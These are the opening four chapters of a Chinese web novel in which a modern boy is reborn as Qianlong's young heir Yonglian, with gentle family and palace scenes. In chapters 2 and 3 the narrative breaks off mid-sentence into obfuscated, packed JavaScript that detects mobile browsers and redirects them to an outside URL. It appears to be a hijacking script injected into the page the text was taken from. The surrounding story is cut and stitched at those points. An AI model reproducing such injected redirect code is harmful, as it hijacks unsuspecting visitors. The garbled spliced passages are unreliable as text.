《[清穿]团宠太子躺平日常》 1. 第一章 乾隆元年七月初一。 傍晚,一场暴雨来得快去得快。短短一刻钟,就将紫禁城的暑气浇灭了七八分。 推开窗,夹杂着潮湿泥土气息的风迎面吹来,年轻的乾隆皇帝舒展开眉眼,动了动有些僵硬的脖子。 手头还有几本奏折。批完就去长春宫,皇后说今日要给他熬银耳莲子羹。 先帝孝期未过,他不翻牌子,也不去其他妃嫔宫里过夜,大部分时候留宿长春宫。顺便监督永琏开蒙的进度。 先帝在时发了话,皇子们不必五六岁就进尚书房,尚书房的课业对五六岁的孩子来说太繁重了,不如先让孩子多读两年启蒙的书,打好基础,心智稍微成熟些再正经学四书五经。 乾隆心中对此颇不以为然,他的那些伯伯叔叔们,包括先帝爷,都是五六岁入尚书房的,没有十几年如一日卯入申出的辛苦,没有圣祖爷的严格要求,哪儿有九龙夺嫡……不是,哪儿能培养出那么多文武兼备的皇子。 他有心想效仿圣祖爷,让儿子们也六岁入尚书房。 可惜永璜去年丧母,又赶上先帝驾崩,他这个当阿玛的登基,就一直拖着。 正好,永琏六岁了,启蒙的三百千也都倒背如流,完全可以开始学四书。 他打算办完明日的大事,就给俩儿子安排师父。 永璜、永琏兄弟俩虽差了两岁,但永琏聪慧好学,随了自己,永璜资质稍微差些,俩孩子学习进度应是差不多的。 正琢磨给儿子请师父的事儿,一道身影闯进视线,急匆匆向西暖阁这边跑来。 因窗户开着,他可清晰地听见李玉呵斥的声音,“跑什么?慌慌张张的!” “不好了,李公公,二阿哥摔了一跤。” “什么?在哪儿摔了?伤着哪儿了?请太医没有?”不等李玉开口,乾隆已经扬声问出一连串问题,然后亲自去开了门,让小太监进屋回话。 “回万岁爷,刚电闪雷鸣的,二阿哥说三格格怕打雷,就去后殿看妹妹,回的路上兴许是地上有水,就滑了一跤。”小太监道。 三格格是皇后给他生的第二个女儿,他前两个女儿都夭折了,如今膝下就这么一个小格格。只比永琏小一岁,也在长春宫养着,永琏很有当哥哥的样子,从小就知道照顾妹妹。 “伤着哪儿了?”乾隆焦急催问。 “外面瞧着只是擦破点皮,但……但二阿哥昏过去了,太医们都在,正想法子,皇后娘娘让奴才来请万岁爷……”这小太监是皇后身边伺候的,也算看着二阿哥长大,说着不由哭起来。 乾隆闻言,心下骤然一沉,立刻快步往外走。 小太监赶紧跟上。 “是摔到脑袋了?” “跟着二阿哥的奴才说,摔得不严重,不知怎么就晕了。”小太监道。 一句“该死的”到了嘴边,乾隆硬生生忍住了,脚步更快。地上的雨水溅湿袍脚也毫无察觉。 明天就要秘密立储了,今儿永琏晕倒。难道上天是在警示他什么? 乾隆晃晃脑袋,这不可能,他的永琏是嫡子,长得像他,聪明像他,孝顺也像他,温和的性子又随了皇后,就是最适合的太子人选! 长春宫,今日当值的太医来了大半,现在全都大松一口气。 二阿哥终于醒了。 但这口气松得有点早,里面很快出来一个小宫女,“你们快进去瞧瞧,二阿哥像是丢了魂儿,看着不大对。” 太医们对视一眼,别是磕坏了脑子吧? 内殿隐隐传出富察皇后的哭声,“永琏,你怎么了?我是额娘啊!” 太医们:“……”二阿哥这是连额娘都不认识了? 这病他们可不大会治啊!万岁爷马上就来,他们若是想不出法子,这太医也就当到头了。 几名太医愁眉苦脸的进了内殿,看向软榻上的二阿哥。 二阿哥今年六岁,皮肤白皙,眉目清秀,五官汲取皇上皇后优点长的,小脸圆嘟嘟,格外讨喜。 小少年此时躺在枕上,睁着一双澄澈的眸子看着皇后娘娘,小嘴巴微微张着,几分惊讶,几分茫然。 “永琏……你不要吓额娘啊!”富察皇后俯身,将儿子一把搂进怀里,忍不住落下泪来。 这时,二阿哥才像是回过神似的,软乎乎的喊了声“额娘”,然后伸出小胖手,搂住了额娘的脖子。 “哎哟哎哟,阿弥陀佛,小主子没事儿就好,刚估计是吓住了。” 永琏的奶娘方嬷嬷见状,大大松了口气。 刚才小主子刚醒来时,迷迷糊糊的问了句:“这是哪儿。” 看周围人也像是看陌生人似的,可把众人吓坏了。 太医们也齐齐松口气,二阿哥没事,他们就没事。 没有人注意到,永琏刚才那声额娘,其实是带着疑惑的。 他只是下意识重复了这两个字,因为这个称呼对他来说陌生又熟悉。 这不是清朝电视剧里满人们用的称呼吗? 他的记忆最后停留在被推进ICU的那一刻,睁眼就到这里来了。 他可以确定,这不是片场也不是恶作剧,因为这具身体也不是他的。 他前世也叫永琏,后来家里人看清宫剧的时候才知道,他和乾隆皇帝的嫡长子永琏重名了。 按说和皇子重名应该高兴,但历史上的永琏八岁早夭,是个短命的孩子。 果不其然,他还没活到成年,就被查出白血病。 有人劝父母赶紧给他改名,但已经来不及了,他病情恶化的非常快。 最后住院那几天,永琏经常做同一个梦,梦里就是这间宫殿,年轻的皇后默默垂泪。 他梦里知道这就是乾隆的白月光,富察皇后,而自己是那早夭的端慧太子。 他试图安慰额娘,可惜额娘看不见他,只是一边垂泪一边念着“永琏”“永琮”。 梦醒后,永琏才想起来,永琮是富察皇后的第二个儿子。 他当时只以为自己是清宫剧看多了,身边人又说永琏这名字不吉利什么的,才做了这个梦。 但现在看来,不是这么回事。而是上天在提前告诉他,他的下一站会来到这里。 永琏有些难过的瘪瘪嘴,他都还没来得及和爸爸妈妈说再见。 正这时,乾隆来了。 太监刚通传完,乾隆已经大步走进殿内。 “永琏怎么样?” “回万岁爷,二阿哥已经醒了。” 乾隆闻言,紧皱的眉头稍稍舒展开。 行礼请安的人跪了一地,他随意摆了摆手,进入内殿。 平日十分看重礼数的皇帝现在也顾不得这些,示意内殿的人也都不必行礼了,他直接坐到榻旁,从皇后怀里将儿子接过来,抱到腿上,上下打量。 永琏愣了下,面前的青年丹凤眼,高鼻梁,还挺俊秀。要不是穿着明黄色的褂子,倒像是刚入职场不久的应届生。 他回想了下,永琏乾隆三年去世,现在的时间只会比乾隆三年早,乾隆确实刚登基不久。 ……勉强也算是刚入职场吧。 永琏慢吞吞唤了声:“汗阿玛。” 他有点委屈地皱起小脸,突然换了爸妈,还有点不适应。 “头疼吗?”小家伙额头肿了一块,周围还擦破点皮。乾隆轻轻碰了下那肿包。 永琏摇头。 “晕不晕?”乾隆又问。 永琏继续摇头。 “那还有哪里不舒服?” “没有,我好好的,汗阿玛、额娘,你们不用担心。”永琏弯了弯眼睛。 比起最后那几天的痛苦,现在的永琏感觉浑身轻松,额头上这点疼不算什么。 没事就好,乾隆提着的一颗心终于踏踏实实落回胸腔,这才意识到,自己刚才表现的太……太温柔了。 对臭小子们不能这样温柔,免得惯坏了他们。 他于是板起脸,“走路怎么冒冒失失的,就在长春宫里还能摔了?” 永琏脑中是有原身记忆的,原身是个很懂事乖巧的小朋友,一举一动都规规矩矩的,走路也是稳稳当当像个小大人。 大概是要换灵魂,原身短暂的失去意识,才向前栽倒。 “回汗阿玛,儿子没有冒失,刚才突然头晕了一下,就……”永琏说着,鼻子痒痒,忍不住打了个喷嚏。 皇后本就心疼儿子,立刻道:“哎哟,是不是受凉了?太医,再来给永琏诊个脉。” “只是打个喷嚏罢了,谁叫你下雨的时候……” 乾隆还没嘀咕完,想起永琏下雨出门的原因,心里又是一软。< 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乾隆刚想说你小子刚才还说没冒失,但很快反应过来,这小子是在哄妹妹。 乾隆一颗心瞬间软了,不愧是他看中的太子,真是懂事! “刚才雨太大了,看不清路也是正常。”乾隆的语气不自觉柔和下来,还伸手在儿子脑袋顶上揉了一把。 永琏被揉脑袋有点不好意思,小脸红了一下。 皇后见万岁爷没责怪永琏,心下稍安,万岁爷对两个儿子管教十分严格,尤其对永琏,更是从不娇惯。 但万岁爷心里却是极看重永琏的,孩子从前稍微有个头疼脑热,他跟自己一样着急。只是面上要装严父。 皇后一抬眼看见等着给永琏诊脉的太医,就对乾隆道:“皇上先带小格格到外间坐坐吧,这儿臣妾守着。” 乾隆颔首,抱起女儿往外走,走到一半,回头叮嘱:“让人用浸了冰水的帕子给永琏敷一下额头,消肿的快些。”走两步又回头,“帕子拧干一点,当心水滴到旁边的伤口上。” 皇后微笑,“皇上放心。” 永琏躺回枕上,太医给他诊过脉,只说是稍微有些受凉,不用喝药,喝一碗姜汤暖暖身子就是了。 皇后忙吩咐人去熬姜汤。她亲自用冰帕子给永琏敷了敷额头的肿包,动作轻柔。 永琏看着皇后的面容,心里莫名有些酸涩,大概是梦里看到的她总是在流泪。 如果永琏和永琮没有早夭,那富察皇后也不会忧伤成疾,有宠有子,她一定是清朝最幸福的皇后。 外间时不时传来乾隆哄闺女的声音,永琏撇嘴,这人面对女儿,说话声音都变夹了。 “一会儿喝了姜汤就回你房间去睡会儿。”皇后对永琏道。 永琏乖乖应是,姜汤很快端来,他捏着鼻子喝了。身体瞬间暖和不少。 永琏住长春宫后殿的西配殿,他到外间向汗阿玛道别,乾隆让他顺便把三格格也带回去。 三格格过来本就是想看二哥的,二哥要走,她也跟着回去。 小丫头有嬷嬷宫女陪着一起玩,并不是很粘汗阿玛。 永琏便带着妹妹退下了。 看着兄妹俩拉着手往外走,乾隆不由欣慰地弯了弯唇角。 皇后坐到乾隆身侧,她还是有些自责,“是臣妾不好,下着雨还让永琏出门……” “这不怪你,都怪跟着永琏的奴才……”乾隆敛起脸上的微笑,神色微冷,让人把跟随永琏的小太监叫来。 刚才皇后已经问过一次永琏摔跤的经过,却没追究小太监的责任。 但是躲得过初一躲不过十五,万岁爷肯定不会饶了他。 乾隆训斥了这小太监几句,就让他自己去慎刑司领罚,领完罚也不用回来伺候了,去不要紧的地方当洒扫太监吧。 小太监退下后,乾隆想了想,“朕从御前拨两个可靠的奴才服侍永琏。” 皇后道:“皇上费心了。” “这有什么,别处的奴才倒罢了,永琏身边的奴才一定要仔细挑。” 从明日起,永琏就是太子了。 听说当年二伯就是被身边的太监带坏了,那样的悲剧一定不能在永琏身上重演。 2. 第二章 永琏还不知道乾隆在给他挑选贴身太监,他把三格格送回屋,就回到对面的西配殿。 西配殿三间房,明间待客,东里间当卧室,西里间做书房。 永琏在屋子里逛了一圈,还有种不真实感,但又隐约觉得熟悉,大概是有原身记忆的缘故吧。东西摆放的位置,他都一清二楚。 方嬷嬷要服侍他躺下,他下意识就去了东里间的耳房洗漱。 耳房里有一面小铜镜,永琏洗完脸,照了照镜子。 和前世自己小时候很像,但这个小阿哥个头要比他前世六岁时矮一些,只有一米出头的样子。 想想乾隆和富察皇后的身高,永琏顿感不妙。这基因可不怎么好啊!自己以后能长过一米七吗? 等下,先别操心个头,历史上的永琏乾隆三年夭折,今年是乾隆元年了。 还有两年,他又要挂了…… 老天爷要不要这么玩他啊!穿越到两百年前,就是为了再体会一次死亡? 永琏不怕死,他怕生病的煎熬,更怕自己的离开给家人带去的痛苦。 前世他生病后,爸妈头上都有了白发,妈妈以泪洗面,爸爸迅速消瘦。 同样的,历史上二阿哥永琏的早夭,对乾隆和富察皇后的打击也很大,乾隆辍朝五日。富察皇后更是悲痛欲绝。 至于太子规格的葬礼和专门修的陵寝,那都弥补不了这对年轻夫妻失去儿子的痛苦 “阿哥爷不必担心,晚上奴才再给您敷一下,明儿就能消肿。”方嬷嬷见小主子对着镜子出神,以为他担心额头的包。 永琏回神,摸了摸额头,“没事儿,不疼。”他心不在焉的回到卧室躺下。 锦被轻薄而柔软,不远处的盆里还放了小冰山,屋里并不算热,永琏忍不住在心里感叹,活着真好。 他必须要苟住小命,活到成年! 可苟命的话,自己要当六十多年太子…… 众所周知,太子是高危职业……能平安继位的不多,在有一个长寿且强势的老子的情况下,还能顺利继位的,更是少之又少。 不说远的,就说他太爷爷康熙,那么疼爱太子胤礽,从小带在身边亲自教养,最后还是两立两废。 乾隆“心胸开阔”的程度,比起康熙有过之而无不及。 给乾隆当太子,还要当六十多年……永琏抱住脑袋,刚想在心里哀嚎,忽然想起来,现在和当初情况不一样了。 从他爷爷开始,施行秘密建储。也就是说,只有汗阿玛知道太子人选,其他人都不知道,包括他自己。 既然如此,他就只是一个平平无奇的小阿哥罢了,太子要承受的压力,他都不用承受。结党攀附的官员更是找不上他。 阿玛他怎么想,那是他的事,他要是对自己失望,就换太子呗。 立太子都是秘密的,废太子应该也不会大张旗鼓。 他依然可以继续做普通皇子。 只要不犯大错,苟住小命并不难。 而且他还有额娘妹妹做靠山,就算乾隆对他不满,也要多少顾及爱妻和爱女,不会太苛待他。 至于谁来接替这个太子之位,就不是永琏该操心的了。 其他朝代的皇子,拼实力、拼品行、拼权术。在乾隆朝,首先一条要拼身体,拼寿命。 他就是苟命,也不一定比乾隆活得长。 他的兄弟们大部分也是如此,最后八成还得是小十五永琰接班。 这样一想,永琏就轻松很多。 感谢雍正,想出秘密立储这么个好法子。 精神放松下来,永琏很快就睡着了。 醒来时,天色已经黑透。 “阿哥爷醒了,万岁爷叫您醒了去前殿吃莲子羹,还有您喜欢的鲜荔枝。太后听说您摔了,特地让人送来两颗。”方嬷嬷一边服侍永琏擦脸,一边道。 永琏:“两颗?” “是啊!太后娘娘都没舍得吃。”方嬷嬷道。 自家小主子不仅是皇上皇后的心尖尖,更是太后她老人家的心肝宝贝。 永琏想起来了,这年头鲜荔枝难得,都是论颗分的,太后这回就得了两颗。 好心酸啊!荔枝自由的日子一去不复返了。 他收拾好到了前殿,乾隆正和皇后对弈。 见他来了,二人放下棋子。皇后一边吩咐人去端莲子羹,一边拉他到近前看了看额头的伤,动作轻柔的帮他揉了一下。 “有哪里不舒服?鼻塞吗?”皇后担心他淋雨受凉,关心道。 永琏道:“儿子喝了姜汤已经没事了。”不知为何,他在额娘面前下意识就成了乖宝宝语气。 乾隆道:“你皇玛嬷听说你摔了一跤心疼的不行,想着你吃了荔枝肯定高兴,就把今早朕让人送去的两颗全送来了。” 永琏顺着乾隆的目光看向果盘里可怜的两颗荔枝。 两颗还不够塞牙缝的,不如不吃了。 他于是道:“永琏没事儿,这荔枝还是让皇玛嬷吃吧。”他说着抬眼看向乾隆,“我把荔枝给皇玛嬷送过去,玛嬷见了我,知道我无大碍也就放心了。”他也很想去见见这位大名鼎鼎的熹贵妃。 乾隆没想到永琏能忍住不吃荔枝,这孩子平时不贪口腹之欲,唯独喜欢荔枝,这点也随了他。 这回南边送来的荔枝树,只得了三十颗荔枝。除去供佛的,就剩二十颗。 养心殿留了六颗,剩下的太后和宫里的后妃分。嫔以下的都没得。 长春宫分了两颗,永琏就让额娘和妹妹吃了,自己没吃上。 方才乾隆听皇后说起,就十分欣慰。这会儿太后送来两颗,永琏又忍住了。 懂事孝顺不说了,关键这孩子自我约束的能力真的不错。 “好,我们永琏真乖。”乾隆没忍住,伸手摸了摸儿子软乎乎的小胖脸,“吃完莲子羹,汗阿玛陪你一起去看玛嬷。” 永琏:??? 汗阿玛你跟我说话怎么也夹起来了? 孝期未过,别的宫里不知道,御膳房、长春宫里是没有一点荤腥的。 而且清宫里未时用晚膳,永琏这会儿早饿了。 一碗莲子羹还不太够,他又吃了一个奶饽饽,还想再吃块枣泥酥。却被乾隆拦住,“吃七分饱就可以了。吃多了等会儿睡不好。” 永琏:“可我只有五分饱。”荔枝珍贵可以不吃,但不能让他饿肚子! 乾隆想了想,“行,那你吃吧,一会儿咱们走着去走着回,就当消食。” 他说着看向皇后,“皇后也与我们一同去吧。” 皇后自然要去,哪怕上午已经去给太后请过安了,但乾隆和永琏都去,她这个当儿媳的不去,有点失礼。 在这方面,皇后和乾隆一样,对自己要求十分严格。 这会儿寿康宫还没建好,太后住在宁寿宫。 吹着夏夜凉爽的微风,一家三口溜溜达达往宁寿宫方向走。 暮色四合,后宫已经没什么人走动了。 只偶尔有值夜的太监嬷嬷路过。 帝后二人低声聊着宫里的琐事,现在宫里就位个阿哥一位格格,永琏、三格格在长春宫,三阿哥永璋是他额娘纯嫔养着。 大阿哥永璜今年才去阿哥所,皇后每日都派人去问,就怕小少年不适应。 “永璜这孩子也真是,弟弟摔跤,他也不知道来看看。”乾隆有些不满的嘀咕。 皇后解释道:“皇上冤枉永璜了,永琏既然无碍,臣妾就吩咐不要将这件事往外传,阿哥所那边压根就不知道。” 乾隆颔首,随即又想起来,那皇额娘那边是怎么知道的?按理说宁寿宫在外路,消息应该是最不灵通的。 皇后看乾隆表情就知道他想什么,这人真是敏感。“永琏刚晕倒那会儿,正好宁寿宫派嬷嬷来问往雍和宫祭奠之事,当时长春宫一团乱,自然瞒不住。估计是那嬷嬷回去告诉皇额娘的。” “原来如此。” 永琏走在二人身后,心不在焉的听着,眼睛却看着沿路景色。 乾隆走着走着,突然回身,牵住永琏的小手,把他拽到身侧。 永琏:??? “今日阿玛再牵着你走一走,从明日起,就不能这样了。”乾隆道。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15486980|170094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 永琏:???虽然他也没想让汗阿玛拉手手走路,但还是下意识问:“为什么?” “因为永琏长大了。”皇后微笑,明日皇上就要亲书密旨,将永琏立为太子,说是秘密立储,但这事儿皇上没瞒她。 她以永琏年纪还小等理由推辞过,但皇上执意如此。她也不好多言。好在旁人都不知情,永琏不会受到太大影响。 “为什么永琏今天还是小孩,明天就长大了?”永琏疑惑地歪歪脑袋。 这下乾隆也笑起来,没有回答他,只是捏了捏他的小胖手。“永琏想不想和你大哥一起到尚书房读书?” 原来是要入尚书房读书了啊!想到清朝皇子的作息,永琏小脸顿时皱成一团。 小家伙的表情没有逃过乾隆的眼睛,他立刻正色问:“永琏不喜欢读书吗?” “喜欢,但是……但是……”永琏摸了摸额头的包,“能不能等这个包下去再去读书呀?” 能拖一天是一天。真的不想早起啊! 乾隆不由笑起来,这小子肯定是怕被永璜笑话。兄弟俩差了两岁,从小也是一起玩到大的,关系十分亲近。永璜那孩子虽然老实巴交的,但他们兄弟之间倒是经常开玩笑。 “那不行,明日就去,让你大哥瞧瞧,是谁走路不小心摔成了寿星公。”乾隆故意逗儿子。 “我没有不小心。”永琏鼓起脸颊,“而且大哥才不会笑话我,他肯定心疼我!” 历史上,大阿哥永璜生母早逝,又因皇后丧礼上表现的不够哀痛,被乾隆斥责。从而心情郁结,英年早逝,是个倒霉蛋。 原身记忆里,乾隆也经常嫌弃大儿子性子木讷,更是经常把两个儿子放在一起比较,夸永琏的时候就拉踩永璜。 永璜不但没有嫉妒弟弟,还真就老老实实在向弟弟学习。 这么好的哥哥,永琏当然要替他说话。 乾隆闻言,哈哈大笑,“行行行,你们兄弟俩感情好。既然你大哥不笑话你,你明儿就去尚书房念书吧。” 永琏:“……” 皇后忍不住嗔了乾隆一眼,“皇上您就别逗孩子了,我们小永琏也是要面子的。” 永琏:“就……就是。” 乾隆笑得不行,一手牵着儿子,另一只手飞快勾了下皇后的手指。 一家三口在夏夜里散步,真幸福啊!想写诗! 皇后红了脸,皇上这是做什么?后面跟着的奴才们瞧见了多不好。 小永琏看不到阿玛额娘之间的小动作,还在关心自己读书的事儿,就问乾隆,“汗阿玛,我们到了尚书房都学什么呀?” “满文、蒙文和汉文的四书五经。”乾隆道。 “不学算术、几何和西洋的科学吗?”永琏好奇地仰着小脸。 “你还想学这些?” 要学满汉蒙三语对于一个六七岁的孩子来说,已经有难度了。乾隆就没给他安排其他课程,连骑射都可以往后放放。 没想到永琏竟主动问起几何算术。 永琏纠结了片刻,还是点头,“想学!” 乾隆:“几何算术可不简单。”反正乾隆觉得又难又枯燥。 “不简单才要早点学。”永琏道:“皇玛法说,他像永琏这么大的时候,就会算好多算学题目了。” 雍正还在时,也格外看重永琏这个孙儿,偶尔会把他叫到身边说话逗趣。 乾隆一怔,圣祖尤为重视算学、几何和西洋科学这些学问,不仅自己学,还让儿子们学。汗阿玛和伯伯叔叔们多少都会一些,三伯、十三叔、十六叔对这些学问更是颇有研究。 圣祖爷就是乾隆的人生偶像,他处处都想和老爷子看齐。唯独这方面自己不感兴趣也不擅长,自己做不到,儿子能做到也不错啊! 乾隆想了想,就点头道:“回头朕给你们找位擅长算学的师父,一旬学两三次倒也无妨。但一定不能因为这些学问耽误了正经功课。” 永琏高兴应是。 有用的科目,必须给弟弟们安排上! 乾隆见儿子一脸兴奋,不由在心中感叹,他选的小太子可真好学啊! 3. 第三章 太后拜完佛,都准备睡了,听说皇上皇后带着永琏来了,有些惊喜。 “永琏,乖孩子,快过来让玛嬷看看……”太后见永琏额头的伤,不由皱眉。 永琏乖乖跑到太后身边,这位长寿且有福气的崇庆太后,现在瞧着还不老,五官虽不算精致,却很是温和可亲,就是打扮得有些老气。 “玛嬷,我没事。”永琏道:“嬷嬷说额头的包明后天就能下去了。” 他说着话,太后已经把孙儿搂紧怀里揉脑袋。 乾隆道:“您让人送去的荔枝,永琏舍不得吃,又送回来请您老人家享用。”说这话时,他脸上不由就带了几分骄傲。 宫女已经把装着两颗荔枝的盘子摆到了太后身旁的小几上。 永琏不想推来让去的,就直接从盘子里拿了一颗荔枝,剥开递到太后嘴边,“玛嬷,您吃吧,荔枝不经放,明日就不新鲜了。” 太后笑着把那颗荔枝吃了,荔枝独有的清甜汁水在口中爆开。她不自觉就笑弯了眼睛,圣祖爷说自己是有福之人,她从前还不觉得,如今看来,圣祖爷看的真准。 儿子、儿媳周到孝顺,孙子也这般乖巧懂事。从前想都不敢想的荔枝,自己也吃上了。 永琏又去剥另一颗,太后忙道:“好孩子,这颗给你吃。玛嬷尝尝味就够了。今年这是最后一批荔枝了,下次吃就要等明年喽。” 永琏:“……”莫名有种贫苦人家过年吃饺子的感觉。 “皇玛嬷让你吃你就吃吧,没事儿的。”乾隆笑道,荔枝这么好的东西,太子当然要尝尝了。 圣祖爷当年可是什么好东西都往太子宫里送,如今自己不能明着这么干,但也不能太委屈了自家永琏。 永琏只好把手中的荔枝塞嘴里。 ……就,真的不怎么好吃,要在现代,这已经属于不太新鲜的荔枝了。 剥荔枝弄的手上黏黏糊糊,永琏就跳下榻去洗手。 他隐约听见乾隆在那里和太后保证,明年让福建、广东等地多送些荔枝树过来。 太后说劳民伤财不必麻烦,吃些腌制的荔枝也是一样。 乾隆表示,腌制荔枝的滋味不如鲜荔枝万分之一,当然要让皇额娘吃上最好的。 永琏听得忍不住撇嘴,说的好像运荔枝都是为了太后一样,人家才分到两颗,你自己吃六颗…… 归根结底还是荔枝太少了,运来的荔枝树有一半是长不出荔枝的。 等他在长大些,一定要想办法实现荔枝自由。 他哒哒哒跑回太后身边,“皇玛嬷,等永琏长大了,修一条平平的路,车马跑起来快些,咱们就有多多的鲜荔枝吃啦。” 太后笑道:“听说现在的路就已经很平了。” 乾隆也道:“是啊,现在的官道宽阔平坦,早不是唐朝的时候了。” “永琏要修出更平的路,不但能运荔枝,还能运粮草、送奏折。修路可重要了。”永琏严肃着小脸道。 “哎哟,我们小永琏真不得了,小小年纪懂这么多。”太后先夸孙儿。 乾隆也没多想,还在那骄傲,不愧是他选的太子,从荔枝想到修路,格局就是普通六岁小孩比不了的。 永琏都做好了被问“从哪儿知道这些”的准备,大不了再抬出皇玛法、圣祖爷。但汗阿玛根本没问,只是用一种欣慰又骄傲的眼神看着他。 永琏:“……” 太后睡得早,乾隆他们也不好多打扰,让老人家放心,就告辞出来。又溜溜达达往回走。 乾隆一路上絮絮叨叨嘴都没停,在那跟永琏讲他小时候被圣祖爷接进宫小住的事儿。 自那以后,乾隆真正建立了自信,他坚信自己能成为和圣祖爷一样的明主。 永琏在心里翻白眼,要论圣祖最疼爱的孙子,汗阿玛可排不到第一。他今儿能在吹这事儿,还不是因为他有个好阿玛,夺嫡胜利当了皇帝? 永琏是不相信康熙看重乾隆,才传位给雍正这种说法的。乾隆顶多算是雍正夺嫡的加分项之一。 乾隆不提雍正,小永琏偏要提:“……汗阿玛的玛法喜欢您,永琏的玛法喜欢永琏。我和汗阿玛一样,都是得玛法疼爱的乖孙孙!” 乾隆闻言,不但不生气,还笑着揉揉他脑袋,“是啊,你皇玛法最喜欢你了,你这个名字,就是他亲自取的。” 其中寓意,他没讲,但小家伙应该听别人提过。 先帝重视永琏,一是因为他是嫡长孙,二也是因为先帝知道自己喜欢永琏这个儿子。 乾隆虽不赞同先帝的某些政令,但有一点不得不承认——先帝对儿子们很好。 ——当然,某个胳膊肘往外拐的兄弟除外。 当初选福晋,先帝都是问过他和弘昼意见的。他俩这才能幸运的娶到心仪的女子做嫡福晋。 先帝知道他看重富察氏,同样也看重富察氏的孩子们。这才对小时候的永琏多几分关注。 思及此,乾隆有些伤感的叹息一声。 “汗阿玛,您怎么了?”永琏好奇。 皇后也关心的看向乾隆。 “没事,”乾隆道:“过几日去雍和宫月祭,永琏也随朕一同去。” 先帝梓宫停放在雍和宫,按礼制,乾隆每月都要亲去祭拜。 但两位小皇子是不用去的。 永琏不知道这些,乾隆让他去,他就乖乖答应。据说在雍和宫许愿可灵验了…… 好吧,这会儿雍和宫还不是寺庙,他不能对着雍正的梓宫许愿。 皇后见儿子答应,却有些迟疑,等到了长春宫,打发永琏回屋睡觉后,皇后才迟疑着跟乾隆商量,“您只带永琏去,是不是不太好?” 乾隆想了下,要在其他月份,带永琏去就去了,孙儿给皇玛法上柱香磕个头再正常不过。 可明日自己刚宣布自己立了储君,没过两天就带着永琏去拜先帝。朝臣们把两件事连起来一琢磨,这秘密立储不是白搞了? 当然,本来也没什么悬念,长脑子的都知道他会选嫡子。 可该做的样子还是要做。 “那就把永璜也带上。”乾隆道。 皇后:“……” 怎么感觉有点熟悉,当年先帝立了自家爷当太子,又怕表现的太明显,有官员来攀附,有什么事儿,就拉上和亲王。 可这也就是掩耳盗铃罢了,谁是太子谁是顺带,朝臣们心里门儿清。 以后永璜、永琏大概又是一样的套路了。 这样也好,皇上重视永琏,永璜跟他同步,那肯定也不会忽视了永璜。 次日,永琏睡醒时,乾隆已经去上朝了。 妃嫔们来给皇后请安,永琏用过早膳就跑去找妹妹玩儿。 三格格有点奇怪地看看他,“二哥,你今日怎么不念书?” 永琏:“……”差点忘了,原身好学,虽未进尚书房,但每日早膳后就开始提前预习《论语》,偶尔也会读读圣祖爷的《庭训格言》。 他挠挠头,“二哥过几日就要进尚书房了,以后没什么机会陪你玩儿,所以就想趁这几天,多陪陪你。” 三格格一听,鼓了鼓脸颊,“你和大哥都要去读书,就剩我一个人了。” “你也可以读书认字。”永琏道。 三格格骄傲的抬抬下巴,“我认识好几个字呢。” “几个可不够,你要认识多多的字。”既然有这个条件,多学点东西总是好的。虽然历史上的和敬公主一辈子有人宠着,过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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不等允禄说话,乾隆就皱眉:“让十六叔给两个毛孩子当师父,着实有些大材小用了。”庄亲王可是先帝指定的辅政大臣之一。 弘昼立刻道:“听说当年十六叔也给皇兄当过师父呢。” “当年十六叔教导朕,如今又教导朕的皇子,说出去也算一段佳话。”乾隆笑,“那就麻烦十六叔了。” 允禄:“……”虽然感觉哪里不对,但自己确实比弘昼更擅长,他于是郑重领命。 乾隆道:“两个孩子估计下个月才能正式入尚书房读书,十六叔先不忙着准备。” 允禄颔首,还说要把圣祖爷教皇子用的算学教材找出来,学完启蒙教材,还有一整套《数理精蕴》可以学。 乾隆欣然应允。 允禄告退后,乾隆勾勾唇角。 他这位十六叔,虽没什么野心,但辈分和名望在那摆着,又有先帝遗诏在前,许多宗室都往他身边凑。 看似是聚会玩乐,但谁知道他们关起门来讨论什么。 乾隆不担心十六叔有什么坏心思,却怕他被有心之人利用。不如给他安排点既重要又没权力的差事,让他忙一点儿,也就没时间和宗室们凑一起了。 而且十六叔确实是宗室里最擅长算学几何的,能力上也是无人能及。 如果以后永琏能顺利继位,十六叔勉强也能称得上一句两代帝师,多有面子啊! 真是没有比十六叔更适合的人选了! 他看向一旁喝茶的弘昼,含笑道:“五弟今日倒是机灵,看懂了朕的眼色。” 弘昼一脸懵:“啊?啥眼色?皇兄给臣递眼色了吗?” 乾隆:“……” 4. 第四章 永璜每日都回长春宫给皇额娘请安,顺便找弟弟妹妹们玩一会儿。 但他知道皇额娘忙,都是等其他妃母散了才过去。 这日他到长春宫才知道,二弟昨晚摔了一跤。 永琏额头的包稍微消下去一点,但还是明显有块淤青,旁边擦破的皮也没好。 “二弟洗脸的时候可要当心呐,伤口进水不好愈合。”永璜提醒。 永琏颔首,心说大哥和汗阿玛一样,都是细心的人。 兄弟二人带着三格格在屋里读了一会儿《百家姓》,三格格就坐不住了,想去外面踢毽子。 两位小阿哥从前是不敢陪妹妹踢毽子的,看起来不太端庄。 但永琏可不觉得这有什么问题,立刻答应,兴冲冲的让人拿毽子来。 永璜迟疑,小声提醒永琏,“汗阿玛和皇额娘知道了会不会不高兴?” “不会,汗阿玛昨儿还和我说,当年圣祖爷接他进圆明园,他在圆明园里到处跑着玩儿,还钻假山。”永琏道:“我们只是在院子里踢毽子罢了,都没乱跑。” 永璜:“……” 汗阿玛小时候这么活泼的吗?不过这很合理,汗阿玛骑射功夫一流,一看就是好动的人。 兄妹三人就跑到殿前的空地上踢毽子,三格格刚学会,动作有点生疏。 永璜更是笨手笨脚的,只能连着踢两三下。 只有永琏不但会连着踢,还会各种花样。 